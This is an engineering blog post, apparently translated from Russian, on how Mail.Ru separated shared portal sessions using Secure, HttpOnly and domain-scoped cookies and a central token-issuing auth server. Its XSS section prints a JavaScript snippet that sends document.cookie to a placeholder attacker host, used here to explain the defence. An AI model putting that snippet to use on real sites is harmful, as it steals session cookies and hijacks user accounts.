Divide and conquer: how we implemented session separation on the Mail.Ru portal



    Mail.Ru is a huge portal that has existed for more than 15 years. During this time, we have gone from a small web project to the most visited Runet site. The portal includes a huge number of services, each of which has its own fate, and each of which has a separate team. The developers had to work hard to ensure that all projects - both new and old, and those that joined the portal as it developed - used a single authorization system. And after many years, we actually faced the opposite task: to divide user sessions. About why we did this, what difficulties awaited us and how we circumvented them, I will tell in this post.

    Let's go back many years ago. Since all the services of the company were in the same second-level domain with the division into third-level domains, the introduction of general authorization seemed a rather trivial task. To solve it, we chose the classic (at that time) option: transferred all resources to a single authorization form, set the authorization cookie to a second-level domain, and on the server side they began to check the correctness of the transferred cookies. Simple, beautiful and working:

    Set-Cookie: Mpop=1406885629:fbd9c78cdb2c08634e0977fa1b9e6c6c:user@mail.ru:; domain=.mail.ru

    Gradually, the services got used to using a common authorization cookie, added% LOGIN_NAME% to it for more convenient display on the portal pages, and began to access this cookie using JavaScript on their pages. However, times have changed ...

    The enemy does not sleep

    With the growth of the company, user accounts have become a tasty trick for attackers of all stripes. The first brute forcers appeared. They limited themselves to enumerating user passwords in search of those who wanted to perpetuate the date of their birth or the name of their favorite pet.

    Behind them pulled phishers. They began to send users of the portal letters similar to Mail.Ru letters. Or containing links to sites that pretended to be a portal authorization center, and in various ways tried to fetch user passwords.

    We are not asleep either

    Anti-spam and information security teams began to fight against phishers and brutophosers. Technology and campaigning have borne fruit: hacks have become significantly less. Although weak passwords, coupled with human gullibility, are still the main assistants in the matter of taking accounts from the population, but this is a lyrical digression.

    After some time, such a business began to make money, and heavy artillery pulled up after the students. Attackers appeared who found vulnerabilities in web services and used them to gain access to user accounts. In addition, they found a way to listen to traffic between the user's computer and the company's services. The purpose of all this illegal activity was the user authorization session - that same portal cookie.

    Is HTTPS always HTTPS?

    Key services in terms of protecting user data, such as Mail or Cloud, we hid behind HTTPS. Using a secure HTTPS connection would seem to solve our problems. Data transmitted over such a connection is encrypted and signed, so a third party will not be able to read or replace it.



    But what happens if a hacker located between the server and the browser forces the user's browser to access the portal site using an insecure protocol? To do this, it will be enough for him to intercept any HTTP response sent to the user in unencrypted form, and add a picture with the correct address to it:



    A hacker forces the user's browser to visit the portal over an unencrypted connection. As you can see in the diagram, the session_id cookie will automatically go to the portal server in an unencrypted connection, and, of course, the hacker can easily intercept it. After that, he will be able to use the user account as if he knew the password. To avoid this, the server can set the Secure flag for cookies. It signals the browser that this cookie should be sent to the server only if the connection is over HTTPS. The flag is set like this:

    HTTP/1.1 200 OK
    Content-type: text/html
    Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; secure


    This is an important nuance to consider when setting up HTTPS on the server: setting a Secure flag for authorization cookies is an absolute must-have for a service nowadays. On a large portal, this problem becomes even more urgent. In the context of central authorization, the use of HTTP in a service located in the portal domain gives green light to those who want to bypass HTTPS. But even if everything is behind HTTPS and is immune to wiretapping traffic, the risks of exploiting web vulnerabilities on a service such as XSS are always relevant. So you have to either refuse general authorization, or go the other way, which I will discuss later.

    Without xss

    “Cross-site scripting (or XSS), among other things harmful, can use user authorization in a web system to gain access to it or to obtain user authorization data,” Wikipedia tells us. When using the XSS vulnerability in most cases, the main goal of the attackers is precisely authorization cookies, which are subsequently used to gain access to the account. Typically, crackers use something like this JS code to hijack a user's session:

    var іmg = new Image();
    іmg.srс =  'http://hacker.site/xss-sniffer.php?' + document.cookie;
    



    By far, the most important and effective way to deal with XSS errors is to prevent them from occurring: testing, developer training, code reviews, information security audits. However, with a large number of projects with different teams, it is impossible to achieve code that is completely devoid of errors. Our main goal is to protect the user account. And we must make sure that it remains safe regardless of whether there are XSS vulnerabilities in the system and whether they are trying to use them.

    HttpOnly cookies can help us with this. HttpOnly are cookies that cannot be read using JavaScript, but which are accessible to server-side scripts like any other. Despite the fact that this is far from a new technology (for example, Microsoft introduced HttpOnly cookies 8 years ago in IE6 SP1), not everyone knows why they should be used wherever possible. Cookies that are not accessible from JavaScript will be a kind of second line of defense against attackers planning an XSS attack: malicious code that sneaks onto a page will not be able to steal user cookies using document.cookie. In addition, using the HttpOnly flag in cookies helps protect the user account from untrusted scripts, banners or counters, which can be downloaded from resources not controlled by the company.

    There is no perfection in the world, and HttpOnly cookies cannot be called a panacea either: the HttpOnly flag does not completely save from XSS vulnerabilities. But it greatly limits the options for operation: it will not allow malicious JS-code to lead away the authorization session. There are situations when their use becomes impossible. For example, with the active use of Flash. However, this is not a reason to completely refuse HttpOnly cookies. You can minimize risks by combining two types of cookies and using HttpOnly at least where possible. So, we set Secure and HttpOnly flags for cookies - what else?

    Cookies

    As you remember, to ensure end-to-end authorization on all services of the company, we used one authorization cookie that was exposed to a second-level domain. A common authorization cookie is not only convenience, but also the ability to access all services at once using one vulnerability on any project of the company. Having stolen the authorization cookie from the service a.ya-site-s-obschey-avtorizaciey.ru, we get access to b.ya-site-s-obschey-avtorizaciey.ru.

    Similarly, traffic sniffing works unless Secure cookies are used. If one company’s service is safe and uses HTTPS, while the other uses HTTP, then it’s enough to instruct the user's browser to go to a less secure service, steal the authorization cookie and use it to authorize in a secure service.

    Now, to solve this problem, the cookie sets the domain attribute: Such a cookie will be sent by the browser only in requests for the a.company.com domain and its subdomains. When using domain cookies, if a vulnerability is found on a particular service, only he will suffer. This is true for both XSS and other vulnerabilities.

    HTTP/1.1 200 OK
    Content-type: text/html
    Set-Cookie: session_id=c9aaf792b29afc98fc12cd613e5330b6; domain=a.company.com; secure




    And how to connect all this?

    So, we transferred key services to HTTPS, got some cookies, look for and eradicate vulnerabilities, and generally try to protect ourselves and the user in every way from all sides. But what about single authorization? To ensure general authorization in our heterogeneous environment, where HTTP and HTTPS coexist nearby, we introduced additional domain cookies, which are necessary to enhance the security of using a particular project. In addition to the main authorization cookie (Mpop), an additional cookie (sdc) is set in the project domain. Authorization on this project will be valid only if both cookies are available - Mpop and sdc-domain intra-domain cookies.



    The mechanism of separation of sessions in Mail.Ru works as follows: user authentication always occurs through a single authorization center, auth.mail.ru, which receives a username and password and issues a domain cookie .auth.mail.ru with Secure and HTTPOnly flags. None of the projects has access to the username and password of the user. Cook .auth.mail.ru is also not available for any of the projects.

    When a user visits the project website for which he does not yet have authorization, his request is redirected to the authorization center. The authorization center authenticates it by the presence of cookies .auth.mail.ru, generates a one-time token and redirects to the project page. The token is proxied by the project to the authorization center, which then generates the project cookie for .project.mail.ru. Thus, all the advantages of a single portal authorization are preserved, but the authorization of access to various resources is divided transparently for the user.

    Implementing session sharing is one small but extremely important step within the general ideology of sharing access that we adhere to. Access control allows you to make the protection of resources more consistent, not limited to the "external contour" - even if the attacker managed to steal a session to one of the resources or otherwise compromise it, the consequences for the user will be minimal. In addition to sharing sessions, there are other technologies that are not visible to the user (which is very cool) for sharing access. We will talk about them in one of the following posts.

    So, we have come to the conclusion that even services united under a common platform under the hood should be divided, and we are gradually introducing this principle on our portal. We are sure that soon our colleagues from other Russian companies will take the same path, and a significant part of Internet intruders will finally be left without work. The enemy will not pass!

    Also popular now: